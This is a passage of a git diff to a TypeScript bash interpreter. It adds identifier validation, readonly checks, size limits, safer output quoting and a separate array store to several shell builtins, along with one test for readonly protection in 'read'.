-      exitCode = ((parsed % 256) + 256) % 256;
+      // Parse exactly before reducing. Number.parseInt loses low bits for large
+      // operands, producing the wrong modulo-256 status.
+      const parsed = BigInt(arg);
+      exitCode = Number(((parsed % 256n) + 256n) % 256n);
     }
   }
 
diff --git a/packages/just-bash/src/interpreter/builtins/export.ts b/packages/just-bash/src/interpreter/builtins/export.ts
index 71b8da68..f17ee556 100644
--- a/packages/just-bash/src/interpreter/builtins/export.ts
+++ b/packages/just-bash/src/interpreter/builtins/export.ts
@@ -11,9 +11,13 @@
  */
 
 import type { ExecResult } from "../../types.js";
-import { markExported, unmarkExported } from "../helpers/readonly.js";
+import { quoteDeclareValue } from "../helpers/quoting.js";
+import {
+  checkReadonlyError,
+  markExported,
+  unmarkExported,
+} from "../helpers/readonly.js";
 import { OK, result, success } from "../helpers/result.js";
-import { expandTildesInValue } from "../helpers/tilde.js";
 import type { InterpreterContext } from "../types.js";
 
 export function handleExport(
@@ -44,9 +48,7 @@ export function handleExport(
     for (const name of sortedNames) {
       const value = ctx.state.env.get(name);
       if (value !== undefined) {
-        // Quote the value with double quotes, escaping backslashes and double quotes
-        const escapedValue = value.replace(/\\/g, "\\\\").replace(/"/g, '\\"');
-        stdout += `declare -x ${name}="${escapedValue}"\n`;
+        stdout += `declare -x ${name}=${quoteDeclareValue(value)}\n`;
       }
     }
     return success(stdout);
@@ -62,12 +64,21 @@ export function handleExport(
       if (arg.includes("=")) {
         const eqIdx = arg.indexOf("=");
         name = arg.slice(0, eqIdx);
-        value = expandTildesInValue(ctx, arg.slice(eqIdx + 1));
-        // Set the value
-        ctx.state.env.set(name, value);
+        value = arg.slice(eqIdx + 1);
       } else {
         name = arg;
       }
+      if (!/^[a-zA-Z_][a-zA-Z0-9_]*$/.test(name)) {
+        return result(
+          "",
+          `bash: export: \`${arg}': not a valid identifier\n`,
+          1,
+        );
+      }
+      if (value !== undefined) {
+        checkReadonlyError(ctx, name);
+        ctx.state.env.set(name, value);
+      }
       // Remove export attribute without deleting the variable
       unmarkExported(ctx, name);
     }
@@ -87,13 +98,13 @@ export function handleExport(
     const appendMatch = arg.match(/^([a-zA-Z_][a-zA-Z0-9_]*)\+=(.*)$/);
     if (appendMatch) {
       name = appendMatch[1];
-      value = expandTildesInValue(ctx, appendMatch[2]);
+      value = appendMatch[2];
       isAppend = true;
     } else if (arg.includes("=")) {
       // export NAME=value
       const eqIdx = arg.indexOf("=");
       name = arg.slice(0, eqIdx);
-      value = expandTildesInValue(ctx, arg.slice(eqIdx + 1));
+      value = arg.slice(eqIdx + 1);
     } else {
       // export NAME (without value)
       name = arg;
@@ -107,6 +118,7 @@ export function handleExport(
     }
 
     if (value !== undefined) {
+      checkReadonlyError(ctx, name);
       if (isAppend) {
         // Append to existing value (or set if not defined)
         const existing = ctx.state.env.get(name) ?? "";
diff --git a/packages/just-bash/src/interpreter/builtins/hash.ts b/packages/just-bash/src/interpreter/builtins/hash.ts
index bcd9faea..94af7825 100644
--- a/packages/just-bash/src/interpreter/builtins/hash.ts
+++ b/packages/just-bash/src/interpreter/builtins/hash.ts
@@ -16,6 +16,7 @@
  */
 
 import type { ExecResult } from "../../types.js";
+import { quoteValue } from "../helpers/quoting.js";
 import { failure, OK, success } from "../helpers/result.js";
 import type { InterpreterContext } from "../types.js";
 
@@ -171,7 +172,8 @@ export async function handleHash(
     if (listMode) {
       // Reusable format: builtin hash -p /path/to/cmd cmd
       for (const [name, path] of ctx.state.hashTable) {
-        stdout += `builtin hash -p ${path} ${name}\n`;
+        const optionBoundary = name.startsWith("-") ? " --" : "";
+        stdout += `builtin hash -p ${quoteValue(path)}${optionBoundary} ${quoteValue(name)}\n`;
       }
     } else {
       // Default format (bash style: hits command table)
diff --git a/packages/just-bash/src/interpreter/builtins/index.ts b/packages/just-bash/src/interpreter/builtins/index.ts
index 272ca991..c7d9b077 100644
--- a/packages/just-bash/src/interpreter/builtins/index.ts
+++ b/packages/just-bash/src/interpreter/builtins/index.ts
@@ -48,4 +48,3 @@ export { handleSet } from "./set.js";
 export { handleShift } from "./shift.js";
 export { handleSource } from "./source.js";
 export { handleUnset } from "./unset.js";
-export { getLocalVarDepth } from "./variable-assignment.js";
diff --git a/packages/just-bash/src/interpreter/builtins/local.ts b/packages/just-bash/src/interpreter/builtins/local.ts
index f016c505..f479a1a3 100644
--- a/packages/just-bash/src/interpreter/builtins/local.ts
+++ b/packages/just-bash/src/interpreter/builtins/local.ts
@@ -2,15 +2,23 @@
  * local - Declare local variables in functions builtin
  */
 
+import { boundedJoin } from "../../bounded-builder.js";
 import { parseArithmeticExpression } from "../../parser/arithmetic-parser.js";
 import { Parser } from "../../parser/parser.js";
 import type { ExecResult } from "../../types.js";
 import { evaluateArithmetic } from "../arithmetic.js";
-import { getArrayIndices } from "../helpers/array.js";
+import {
+  assertArrayKeysFit,
+  clearArray,
+  cloneArray,
+  getArray,
+  getArrayIndices,
+  setArrayElement,
+  setArrayKind,
+} from "../helpers/array.js";
 import { markNameref } from "../helpers/nameref.js";
 import { checkReadonlyError } from "../helpers/readonly.js";
 import { failure, result } from "../helpers/result.js";
-import { expandTildesInValue } from "../helpers/tilde.js";
 import type { InterpreterContext } from "../types.js";
 import { parseArrayElements } from "./declare-array-parsing.js";
 import { markLocalVarDepth, pushLocalVarStack } from "./variable-assignment.js";
@@ -19,11 +27,28 @@ export async function handleLocal(
   ctx: InterpreterContext,
   args: string[],
 ): Promise<ExecResult> {
+  const arrayParseLimits = {
+    maxElements: ctx.limits.maxArrayElements,
+    maxStringBytes: ctx.limits.maxStringLength,
+  };
   if (ctx.state.localScopes.length === 0) {
     return failure("bash: local: can only be used in a function\n");
   }
 
   const currentScope = ctx.state.localScopes[ctx.state.localScopes.length - 1];
+  ctx.state.localArrayScopes ??= [];
+  while (ctx.state.localArrayScopes.length < ctx.state.localScopes.length) {
+    ctx.state.localArrayScopes.push(new Map());
+  }
+  const currentArrayScope = ctx.state.localArrayScopes.at(-1);
+  const saveArray = (name: string): void => {
+    if (!currentScope.has(name))
+      currentScope.set(name, ctx.state.env.get(name));
+    if (currentArrayScope && !currentArrayScope.has(name)) {
+      const array = getArray(ctx, name);
+      currentArrayScope.set(name, array ? cloneArray(array) : undefined);
+    }
+  };
   let stderr = "";
   let exitCode = 0;
   let declareNameref = false;
@@ -57,10 +82,7 @@ export async function handleLocal(
   if (processedArgs.length === 0) {
     let stdout = "";
     // Get the names of local variables in current scope
-    const localNames = Array.from(currentScope.keys())
-      .filter((key) => !key.includes("_") || !key.match(/_\d+$/)) // Filter out array element keys
-      .filter((key) => !key.includes("__length")) // Filter out length markers
-      .sort();
+    const localNames = Array.from(currentScope.keys()).sort();
 
     for (const name of localNames) {
       const value = ctx.state.env.get(name);
@@ -88,37 +110,22 @@ export async function handleLocal(
         continue;
       }
 
-      // Check if variable is readonly
       checkReadonlyError(ctx, name, "bash");
 
+      // Parse and enforce limits before changing the existing local cell.
+      const elements = parseArrayElements(content, arrayParseLimits);
+      ctx.executionScope.consumeWork(elements.length, "local array assignment");
+
       // Save previous value for scope restoration
-      if (!currentScope.has(name)) {
-        currentScope.set(name, ctx.state.env.get(name));
-        // Also save array elements
-        const prefix = `${name}_`;
-        for (const key of ctx.state.env.keys()) {
-          if (key.startsWith(prefix) && !key.includes("__")) {
-            if (!currentScope.has(key)) {
-              currentScope.set(key, ctx.state.env.get(key));
-            }
-          }
-        }
-      }
+      saveArray(name);
 
       // Clear existing array elements
-      const prefix = `${name}_`;
-      for (const key of ctx.state.env.keys()) {
-        if (key.startsWith(prefix) && !key.includes("__")) {
-          ctx.state.env.delete(key);
-        }
-      }
+      clearArray(ctx, name);
+      setArrayKind(ctx, name, "indexed");
 
-      // Parse array elements (respects quotes)
-      const elements = parseArrayElements(content);
       for (let i = 0; i < elements.length; i++) {
-        ctx.state.env.set(`${name}_${i}`, elements[i]);
+        setArrayElement(ctx, name, i, elements[i]);
       }
-      ctx.state.env.set(`${name}__length`, String(elements.length));
 
       // Track local variable depth for bash-specific unset scoping
       markLocalVarDepth(ctx, name);
@@ -142,25 +149,11 @@ export async function handleLocal(
       checkReadonlyError(ctx, name, "bash");
 
       // Save previous value for scope restoration
-      if (!currentScope.has(name)) {
-        currentScope.set(name, ctx.state.env.get(name));
-        // Also save array elements
-        const prefix = `${name}_`;
-        for (const key of ctx.state.env.keys()) {
-          if (key.startsWith(prefix) && !key.includes("__")) {
-            if (!currentScope.has(key)) {
-              currentScope.set(key, ctx.state.env.get(key));
-            }
-          }
-        }
-        const lengthKey = `${name}__length`;
-        if (ctx.state.env.has(lengthKey) && !currentScope.has(lengthKey)) {
-          currentScope.set(lengthKey, ctx.state.env.get(lengthKey));
-        }
-      }
+      saveArray(name);
 
       // Parse new elements
-      const newElements = parseArrayElements(content);
+      const newElements = parseArrayElements(content, arrayParseLimits);
+      ctx.executionScope.consumeWork(newElements.length, "local array append");
 
       // For indexed arrays, get current highest index and append
       const existingIndices = getArrayIndices(ctx, name);
@@ -170,7 +163,7 @@ export async function handleLocal(
       const scalarValue = ctx.state.env.get(name);
       if (existingIndices.length === 0 && scalarValue !== undefined) {
         // Variable exists as scalar - convert to array element 0
-        ctx.state.env.set(`${name}_0`, scalarValue);
+        setArrayElement(ctx, name, 0, scalarValue);
         ctx.state.env.delete(name);
         startIndex = 1;
       } else if (existingIndices.length > 0) {
@@ -178,17 +171,18 @@ export async function handleLocal(
         startIndex = Math.max(...existingIndices) + 1;
       }
 
+      assertArrayKeysFit(
+        ctx,
+        name,
+        Array.from({ length: newElements.length }, (_, i) => startIndex + i),
+      );
+
       // Append new elements
       for (let i = 0; i < newElements.length; i++) {
-        ctx.state.env.set(
-          `${name}_${startIndex + i}`,
-          expandTildesInValue(ctx, newElements[i]),
-        );
+        setArrayElement(ctx, name, startIndex + i, newElements[i]);
       }
 
       // Update length marker
-      const newLength = startIndex + newElements.length;
-      ctx.state.env.set(`${name}__length`, String(newLength));
 
       // Track local variable depth for bash-specific unset scoping
       markLocalVarDepth(ctx, name);
@@ -204,7 +198,7 @@ export async function handleLocal(
     const appendMatch = arg.match(/^([a-zA-Z_][a-zA-Z0-9_]*)\+=(.*)$/);
     if (appendMatch) {
       name = appendMatch[1];
-      const appendValue = expandTildesInValue(ctx, appendMatch[2]);
+      const appendValue = appendMatch[2];
 
       // Check if variable is readonly
       checkReadonlyError(ctx, name, "bash");
@@ -216,7 +210,15 @@ export async function handleLocal(
 
       // Append to existing value (or set if not defined)
       const existing = ctx.state.env.get(name) ?? "";
-      ctx.state.env.set(name, existing + appendValue);
+      ctx.state.env.set(
+        name,
+        boundedJoin(
+          [existing, appendValue],
+          "",
+          ctx.limits.maxStringLength,
+          "local append",
+        ),
+      );
 
       // Track local variable depth for bash-specific unset scoping
       markLocalVarDepth(ctx, name);
@@ -235,28 +237,13 @@ export async function handleLocal(
     if (indexMatch) {
       name = indexMatch[1];
       const indexExpr = indexMatch[2];
-      const indexValue = expandTildesInValue(ctx, indexMatch[3]);
+      const indexValue = indexMatch[3];
 
       // Check if variable is readonly
       checkReadonlyError(ctx, name, "bash");
 
       // Save previous array values for scope restoration
-      if (!currentScope.has(name)) {
-        currentScope.set(name, ctx.state.env.get(name));
-        // Also save array elements
-        const prefix = `${name}_`;
-        for (const key of ctx.state.env.keys()) {
-          if (key.startsWith(prefix) && !key.includes("__")) {
-            if (!currentScope.has(key)) {
-              currentScope.set(key, ctx.state.env.get(key));
-            }
-          }
-        }
-        const lengthKey = `${name}__length`;
-        if (ctx.state.env.has(lengthKey) && !currentScope.has(lengthKey)) {
-          currentScope.set(lengthKey, ctx.state.env.get(lengthKey));
-        }
-      }
+      saveArray(name);
 
       // Evaluate the index (can be arithmetic expression)
       let index: number;
@@ -271,16 +258,7 @@ export async function handleLocal(
       }
 
       // Set the array element
-      ctx.state.env.set(`${name}_${index}`, indexValue);
-
-      // Update array length if needed
-      const currentLength = parseInt(
-        ctx.state.env.get(`${name}__length`) ?? "0",
-        10,
-      );
-      if (index >= currentLength) {
-        ctx.state.env.set(`${name}__length`, String(index + 1));
-      }
+      setArrayElement(ctx, name, index, indexValue);
 
       // Track local variable depth for bash-specific unset scoping
       markLocalVarDepth(ctx, name);
@@ -295,7 +273,7 @@ export async function handleLocal(
     if (arg.includes("=")) {
       const eqIdx = arg.indexOf("=");
       name = arg.slice(0, eqIdx);
-      value = expandTildesInValue(ctx, arg.slice(eqIdx + 1));
+      value = arg.slice(eqIdx + 1);
     } else {
       name = arg;
     }
@@ -357,33 +335,15 @@ export async function handleLocal(
       currentScope.set(name, savedValue);
       // Also save array elements if -a flag is used
       if (declareArray) {
-        const prefix = `${name}_`;
-        for (const key of ctx.state.env.keys()) {
-          if (key.startsWith(prefix) && !key.includes("__")) {
-            if (!currentScope.has(key)) {
-              currentScope.set(key, ctx.state.env.get(key));
-            }
-          }
-        }
-        // Save length metadata too
-        const lengthKey = `${name}__length`;
-        if (ctx.state.env.has(lengthKey) && !currentScope.has(lengthKey)) {
-          currentScope.set(lengthKey, ctx.state.env.get(lengthKey));
-        }
+        saveArray(name);
       }
     }
 
     // If -a flag is used, create an empty local array
     if (declareArray && value === undefined) {
       // Clear existing array elements
-      const prefix = `${name}_`;
-      for (const key of ctx.state.env.keys()) {
-        if (key.startsWith(prefix) && !key.includes("__")) {
-          ctx.state.env.delete(key);
-        }
-      }
-      // Mark as empty array
-      ctx.state.env.set(`${name}__length`, "0");
+      clearArray(ctx, name);
+      setArrayKind(ctx, name, "indexed");
     } else if (value !== undefined) {
       // Check if variable is readonly
       checkReadonlyError(ctx, name, "bash");
diff --git a/packages/just-bash/src/interpreter/builtins/mapfile.ts b/packages/just-bash/src/interpreter/builtins/mapfile.ts
index ee21dd93..67871388 100644
--- a/packages/just-bash/src/interpreter/builtins/mapfile.ts
+++ b/packages/just-bash/src/interpreter/builtins/mapfile.ts
@@ -13,8 +13,11 @@
  *   array      Array name (default: MAPFILE)
  */
 
+import { utf8ByteLength } from "../../encoding.js";
 import type { ExecResult } from "../../types.js";
-import { clearArray } from "../helpers/array.js";
+import { ExecutionLimitError } from "../errors.js";
+import { clearArray, setArrayElement } from "../helpers/array.js";
+import { checkReadonlyError } from "../helpers/readonly.js";
 import { result } from "../helpers/result.js";
 import type { InterpreterContext } from "../types.js";
 
@@ -62,6 +65,15 @@ export function handleMapfile(
     }
   }
 
+  if (!/^[a-zA-Z_][a-zA-Z0-9_]*$/.test(arrayName)) {
+    return result("", `mapfile: ${arrayName}: not a valid identifier\n`, 1);
+  }
+  if (!Number.isSafeInteger(origin) || origin < 0) {
+    return result("", "mapfile: invalid array origin\n", 1);
+  }
+  // Authorization precedes parsing/consuming potentially large input.
+  checkReadonlyError(ctx, arrayName, "mapfile");
+
   // Use stdin from parameter, or fall back to groupStdin
   let effectiveStdin = stdin;
   if (!effectiveStdin && ctx.state.groupStdin !== undefined) {
@@ -70,35 +82,46 @@ export function handleMapfile(
 
   // Split input by delimiter
   const lines: string[] = [];
-  let remaining = effectiveStdin;
+  let cursor = 0;
   let lineCount = 0;
   let skipped = 0;
-  const maxArrayElements = ctx.limits?.maxArrayElements ?? 100000;
+  const maxArrayElements = ctx.limits.maxArrayElements;
+
+  const pushLine = (line: string): void => {
+    if (utf8ByteLength(line) > ctx.limits.maxStringLength) {
+      throw new ExecutionLimitError(
+        `mapfile: string length limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+        "string_length",
+      );
+    }
+    lines.push(line);
+  };
 
-  while (remaining.length > 0) {
-    const delimIndex = remaining.indexOf(delimiter);
+  while (cursor < effectiveStdin.length) {
+    ctx.executionScope.consumeWork(1, "mapfile input");
+    const delimIndex = effectiveStdin.indexOf(delimiter, cursor);
 
     if (delimIndex === -1) {
       // No more delimiters, add remaining content as last line (if not empty)
-      if (remaining.length > 0) {
+      if (cursor < effectiveStdin.length) {
         if (skipped < skipCount) {
           skipped++;
         } else if (maxCount === 0 || lineCount < maxCount) {
           // Check array element limit
-          if (origin + lineCount >= maxArrayElements) {
+          // Bash truncates at NUL bytes
+          let lastLine = effectiveStdin.slice(cursor);
+          const nulIdx = lastLine.indexOf("\0");
+          if (nulIdx !== -1) {
+            lastLine = lastLine.substring(0, nulIdx);
+          }
+          if (lines.length >= maxArrayElements) {
             return result(
               "",
               `mapfile: array element limit exceeded (${maxArrayElements})\n`,
               1,
             );
           }
-          // Bash truncates at NUL bytes
-          let lastLine = remaining;
-          const nulIdx = lastLine.indexOf("\0");
-          if (nulIdx !== -1) {
-            lastLine = lastLine.substring(0, nulIdx);
-          }
-          lines.push(lastLine);
+          pushLine(lastLine);
           lineCount++;
         }
       }
@@ -106,7 +129,7 @@ export function handleMapfile(
     }
 
     // Found delimiter
-    let line = remaining.substring(0, delimIndex);
+    let line = effectiveStdin.slice(cursor, delimIndex);
     // Bash truncates lines at NUL bytes (unlike 'read' which ignores them)
     const nulIndex = line.indexOf("\0");
     if (nulIndex !== -1) {
@@ -117,7 +140,7 @@ export function handleMapfile(
       line += delimiter;
     }
 
-    remaining = remaining.substring(delimIndex + delimiter.length);
+    cursor = delimIndex + delimiter.length;
 
     if (skipped < skipCount) {
       skipped++;
@@ -129,18 +152,33 @@ export function handleMapfile(
     }
 
     // Check array element limit
-    if (origin + lineCount >= maxArrayElements) {
+    if (lines.length >= maxArrayElements) {
       return result(
         "",
         `mapfile: array element limit exceeded (${maxArrayElements})\n`,
         1,
       );
     }
-
-    lines.push(line);
+    pushLine(line);
     lineCount++;
   }
 
+  const existingKeys = new Set(
+    origin === 0
+      ? []
+      : (ctx.state.arrays?.get(arrayName)?.elements.keys() ?? []),
+  );
+  for (let j = 0; j < lines.length; j++) {
+    existingKeys.add(String(origin + j));
+    if (existingKeys.size > maxArrayElements) {
+      return result(
+        "",
+        `mapfile: array element limit exceeded (${maxArrayElements})\n`,
+        1,
+      );
+    }
+  }
+
   // Clear existing array ONLY if not using -O (offset) option
   // When using -O, we want to preserve existing elements and append starting at origin
   if (origin === 0) {
@@ -148,20 +186,9 @@ export function handleMapfile(
   }
 
   for (let j = 0; j < lines.length; j++) {
-    ctx.state.env.set(`${arrayName}_${origin + j}`, lines[j]);
+    setArrayElement(ctx, arrayName, origin + j, lines[j]);
   }
 
-  // Set array length metadata to be the max of existing length and new end position
-  const existingLength = parseInt(
-    ctx.state.env.get(`${arrayName}__length`) || "0",
-    10,
-  );
-  const newEndIndex = origin + lines.length;
-  ctx.state.env.set(
-    `${arrayName}__length`,
-    String(Math.max(existingLength, newEndIndex)),
-  );
-
   // Consume from groupStdin if we used it
   if (ctx.state.groupStdin !== undefined && !stdin) {
     ctx.state.groupStdin = "";
diff --git a/packages/just-bash/src/interpreter/builtins/read.test.ts b/packages/just-bash/src/interpreter/builtins/read.test.ts
index dc18f509..b26403cd 100644
--- a/packages/just-bash/src/interpreter/builtins/read.test.ts
+++ b/packages/just-bash/src/interpreter/builtins/read.test.ts
@@ -37,6 +37,15 @@ describe("read builtin", () => {
   });
 
   describe("read options", () => {
+    it("does not let mixed -a -N overwrite a readonly scalar", async () => {
+      const env = new Bash();
+      const result = await env.exec(
+        'readonly target=old; printf x | read -a scratch -N 1 target; status=$?; printf \'%s:%s\' "$status" "$target"',
+      );
+      expect(result.stderr).toContain("target: readonly variable");
+      expect(result.stdout).toBe("1:old");
+    });
+
     it("should support -r to disable backslash escape", async () => {
       const env = new Bash();
       const result = await env.exec(`
diff --git a/packages/just-bash/src/interpreter/builtins/read.ts b/packages/just-bash/src/interpreter/builtins/read.ts
index 3b11cd19..2980d860 100644
--- a/packages/just-bash/src/interpreter/builtins/read.ts
+++ b/packages/just-bash/src/interpreter/builtins/read.ts
@@ -2,13 +2,16 @@
  * read - Read a line of input builtin
  */
 
+import { utf8ByteLength } from "../../encoding.js";
 import type { ExecResult } from "../../types.js";
-import { clearArray } from "../helpers/array.js";
+import { ExecutionLimitError } from "../errors.js";
+import { clearArray, setArrayElement } from "../helpers/array.js";
 import {
   getIfs,
   splitByIfsForRead,
   stripTrailingIfsWhitespace,
 } from "../helpers/ifs.js";
+import { checkReadonlyError } from "../helpers/readonly.js";
 import { result } from "../helpers/result.js";
 import type { InterpreterContext } from "../types.js";
 
@@ -238,6 +241,19 @@ export function handleRead(
     varNames.push("REPLY");
   }
 
+  const destinations = new Set<string>();
+  if (arrayName) destinations.add(arrayName);
+  for (const name of varNames) destinations.add(name);
+  // The -N path assigns REPLY even when -a was also supplied and no explicit
+  // scalar destination was given.
+  if (ncharsExact >= 0 && varNames.length === 0) destinations.add("REPLY");
+  for (const name of destinations) {
+    if (!/^[a-zA-Z_][a-zA-Z0-9_]*$/.test(name)) {
+      return result("", `bash: read: \`${name}': not a valid identifier\n`, 1);
+    }
+    checkReadonlyError(ctx, name, "bash");
+  }
+
   // Note: prompt (-p) would typically output to terminal, but we ignore it in non-interactive mode
 
   // Handle -t 0: check if input is available without reading
@@ -284,6 +300,26 @@ export function handleRead(
 
   // Get input
   let line = "";
+  let lineBytes = 0;
+  const appendLine = (value: string): void => {
+    const bytes = utf8ByteLength(value);
+    if (bytes > ctx.limits.maxStringLength - lineBytes) {
+      throw new ExecutionLimitError(
+        `read: string length limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+        "string_length",
+      );
+    }
+    line += value;
+    lineBytes += bytes;
+  };
+  const assertLineLimit = (value: string): void => {
+    if (utf8ByteLength(value) > ctx.limits.maxStringLength) {
+      throw new ExecutionLimitError(
+        `read: string length limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+        "string_length",
+      );
+    }
+  };
   let consumed = 0;
   let foundDelimiter = true; // Assume found unless no newline at end
 
@@ -317,6 +353,7 @@ export function handleRead(
     // -N: Read exactly N characters (ignores delimiters, no IFS splitting)
     const toRead = Math.min(ncharsExact, effectiveStdin.length);
     line = effectiveStdin.substring(0, toRead);
+    assertLineLimit(line);
     consumed = toRead;
     foundDelimiter = toRead >= ncharsExact;
 
@@ -359,16 +396,16 @@ export function handleRead(
           // Backslash-delimiter (non-newline): counts as one char (the escaped delimiter)
           inputPos += 2;
           charCount++;
-          line += nextChar;
+          appendLine(nextChar);
           consumed = inputPos;
           continue;
         }
-        line += nextChar;
+        appendLine(nextChar);
         inputPos += 2;
         charCount++;
         consumed = inputPos;
       } else {
-        line += char;
+        appendLine(char);
         inputPos++;
         charCount++;
         consumed = inputPos;
@@ -408,19 +445,19 @@ export function handleRead(
 
         if (nextChar === effectiveDelimiter) {
           // Backslash-delimiter: escape the delimiter, include it literally
-          line += nextChar;
+          appendLine(nextChar);
           inputPos += 2;
           continue;
         }
 
         // Other backslash escapes: keep both for now (will be processed later)
-        line += char;
-        line += nextChar;
+        appendLine(char);
+        appendLine(nextChar);
         inputPos += 2;
         continue;
       }
 
-      line += char;
+      appendLine(char);
       inputPos++;
     }
 
@@ -468,26 +505,23 @@ export function handleRead(
 
   // Split by IFS (default is space, tab, newline)
   const ifs = getIfs(ctx.state.env);
+  const maxArrayElements = ctx.limits.maxArrayElements;
 
   // Handle array assignment (-a)
   if (arrayName) {
     // Pass raw flag - splitting respects backslash escapes in non-raw mode
-    const { words } = splitByIfsForRead(line, ifs, undefined, raw);
-
-    // Check array element limit
-    const maxArrayElements = ctx.limits?.maxArrayElements ?? 100000;
-    if (words.length > maxArrayElements) {
-      return result(
-        "",
-        `read: array element limit exceeded (${maxArrayElements})\n`,
-        1,
-      );
-    }
+    const { words } = splitByIfsForRead(
+      line,
+      ifs,
+      maxArrayElements,
+      undefined,
+      raw,
+    );
 
     clearArray(ctx, arrayName);
     // Assign words to array elements, processing backslash escapes after splitting
     for (let j = 0; j < words.length; j++) {
-      ctx.state.env.set(`${arrayName}_${j}`, processBackslashEscapes(words[j]));
+      setArrayElement(ctx, arrayName, j, processBackslashEscapes(words[j]));
     }
     return result("", "", foundDelimiter ? 0 : 1);
   }
@@ -495,7 +529,13 @@ export function handleRead(
   // Use the advanced IFS splitting for read with proper whitespace/non-whitespace handling
   // Pass raw flag - splitting respects backslash escapes in non-raw mode
   const maxSplit = varNames.length;
-  const { words, wordStarts } = splitByIfsForRead(line, ifs, maxSplit, raw);
+  const { words, wordStarts } = splitByIfsForRead(
+    line,
+    ifs,
+    maxArrayElements,
+    maxSplit,
+    raw,
+  );
 
   // Assign words to variables
   for (let j = 0; j < varNames.length; j++) {
diff --git a/packages/just-bash/src/interpreter/builtins/set.ts b/packages/just-bash/src/interpreter/builtins/set.ts
index e94625b0..df274e63 100644
--- a/packages/just-bash/src/interpreter/builtins/set.ts
+++ b/packages/just-bash/src/interpreter/builtins/set.ts
@@ -5,10 +5,20 @@
  * cause the script to exit immediately.
  */
 
+import { BoundedStringBuilder } from "../../bounded-builder.js";
 import type { ExecResult } from "../../types.js";
 import { PosixFatalError } from "../errors.js";
-import { getArrayIndices, getAssocArrayKeys } from "../helpers/array.js";
-import { quoteArrayValue, quoteValue } from "../helpers/quoting.js";
+import {
+  getArrayElement,
+  getArrayIndices,
+  getAssocArrayKeys,
+} from "../helpers/array.js";
+import {
+  quoteArrayValue,
+  quotedArrayValueByteLength,
+  quotedValueByteLength,
+  quoteValue,
+} from "../helpers/quoting.js";
 import { failure, OK, success } from "../helpers/result.js";
 import { updateShellopts } from "../helpers/shellopts.js";
 import type { InterpreterContext, ShellOptions } from "../types.js";
@@ -161,34 +171,40 @@ function hasNonOptionArg(args: string[], i: number): boolean {
  * Format an array variable for set output
  * Format: arr=([0]="a" [1]="b" [2]="c")
  */
-function formatArrayOutput(ctx: InterpreterContext, arrayName: string): string {
+function appendArrayOutput(
+  ctx: InterpreterContext,
+  output: BoundedStringBuilder,
+  arrayName: string,
+): void {
   const indices = getArrayIndices(ctx, arrayName);
   if (indices.length === 0) {
-    return `${arrayName}=()`;
+    output.append(arrayName).append("=()");
+    return;
   }
 
-  const elements = indices.map((i) => {
-    const value = ctx.state.env.get(`${arrayName}_${i}`) ?? "";
-    return `[${i}]=${quoteArrayValue(value)}`;
-  });
-
-  return `${arrayName}=(${elements.join(" ")})`;
+  output.append(arrayName).append("=(");
+  for (let position = 0; position < indices.length; position++) {
+    const i = indices[position];
+    const value = getArrayElement(ctx, arrayName, i) ?? "";
+    if (position > 0) output.append(" ");
+    output.append(`[${i}]=`);
+    output.reserve(quotedArrayValueByteLength(value));
+    output.append(quoteArrayValue(value));
+  }
+  output.append(")");
 }
 
 /**
  * Quote a key for associative array output
  * Keys with spaces or special characters are quoted with double quotes
  */
-function quoteAssocKey(key: string): string {
-  // If key contains no special chars, return as-is
-  // Safe chars: alphanumerics, underscore
+function appendAssocKey(output: BoundedStringBuilder, key: string): void {
   if (/^[a-zA-Z0-9_]+$/.test(key)) {
-    return key;
+    output.append(key);
+    return;
   }
-  // Use double quotes for keys with spaces or shell metacharacters
-  // Escape backslashes and double quotes
-  const escaped = key.replace(/\\/g, "\\\\").replace(/"/g, '\\"');
-  return `"${escaped}"`;
+  output.reserve(quotedArrayValueByteLength(key));
+  output.append(quoteArrayValue(key));
 }
 
 /**
@@ -196,22 +212,31 @@ function quoteAssocKey(key: string): string {
  * Format: arr=([key1]="val1" [key2]="val2" )
  * Note: bash adds a trailing space before the closing paren
  */
-function formatAssocArrayOutput(
+function appendAssocArrayOutput(
   ctx: InterpreterContext,
+  output: BoundedStringBuilder,
   arrayName: string,
-): string {
+): void {
   const keys = getAssocArrayKeys(ctx, arrayName);
   if (keys.length === 0) {
-    return `${arrayName}=()`;
+    output.append(arrayName).append("=()");
+    return;
   }
 
-  const elements = keys.map((k) => {
-    const value = ctx.state.env.get(`${arrayName}_${k}`) ?? "";
-    return `[${quoteAssocKey(k)}]=${quoteArrayValue(value)}`;
-  });
+  output.append(arrayName).append("=(");
+  for (let position = 0; position < keys.length; position++) {
+    const k = keys[position];
+    const value = getArrayElement(ctx, arrayName, k) ?? "";
+    if (position > 0) output.append(" ");
+    output.append("[");
+    appendAssocKey(output, k);
+    output.append("]=");
+    output.reserve(quotedArrayValueByteLength(value));
+    output.append(quoteArrayValue(value));
+  }
 
   // Note: bash has a trailing space before the closing paren for assoc arrays
-  return `${arrayName}=(${elements.join(" ")} )`;
+  output.append(" )");
 }
 
 /**
@@ -221,16 +246,9 @@ function getIndexedArrayNames(ctx: InterpreterContext): Set<string> {
   const arrayNames = new Set<string>();
   const assocArrays = ctx.state.associativeArrays ?? new Set<string>();
 
-  for (const key of ctx.state.env.keys()) {
-    // Match array element pattern: name_index where index is numeric
-    const match = key.match(/^([a-zA-Z_][a-zA-Z0-9_]*)_(\d+)$/);
-    if (match) {
-      const name = match[1];
-      // Exclude associative arrays - they're handled separately
-      if (!assocArrays.has(name)) {
-        arrayNames.add(name);
-      }
-    }
+  for (const [name, array] of ctx.state.arrays ?? []) {
+    if (array.kind === "indexed" && !assocArrays.has(name))
+      arrayNames.add(name);
   }
   return arrayNames;
 }
@@ -275,28 +293,7 @@ export function handleSet(ctx: InterpreterContext, args: string[]): ExecResult {
     const indexedArrayNames = getIndexedArrayNames(ctx);
     const assocArrayNames = getAssocArrayNames(ctx);
 
-    // Helper function to check if a key is an element of any assoc array
-    const isAssocArrayElement = (key: string): boolean => {
-      for (const arrayName of assocArrayNames) {
-        const prefix = `${arrayName}_`;
-        const metadataSuffix = `${arrayName}__length`;
-        // Skip metadata entries
-        if (key === metadataSuffix) {
-          continue;
-        }
-        if (key.startsWith(prefix)) {
-          const elemKey = key.slice(prefix.length);
-          // Skip if the key part starts with "_length" (metadata pattern)
-          if (elemKey.startsWith("_length")) {
-            continue;
-          }
-          return true;
-        }
-      }
-      return false;
-    };
-
-    // Collect scalar variables (excluding array elements and internal metadata)
+    // Collect scalar variables from their independent namespace.
     const scalarEntries: [string, string][] = [];
     for (const [key, value] of ctx.state.env) {
